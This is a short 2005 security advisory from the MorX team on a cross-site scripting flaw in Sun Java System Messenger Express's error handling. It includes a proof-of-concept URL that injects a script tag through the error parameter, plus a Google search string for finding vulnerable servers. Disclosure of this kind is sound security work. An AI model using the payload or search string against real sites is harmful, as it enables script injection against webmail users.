Sun java System Messenger Express remote XSS vulnerabilities By: Handrix <handrix_at_morx_org> 29 November 2005 MorX security research team www.morx.org Description: Sun java System Messenger Express XSS The index script is vulnerable to XSS attacks, in function errorHTML . function errorHTML() { var s=''; . . . document.write(s) ---> Need more case filetring the 's' var } So, this issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks. Exploit: https://mail.victime.edu/?user=&error=%3Cscript%3Ealert('hakin9');%3C/script%3E</a> Googledork : intitle: "Sun Java(tm) System Messenger Express" Vulnerable versions : Sun java System Messenger Express Sun java System Messenger Express6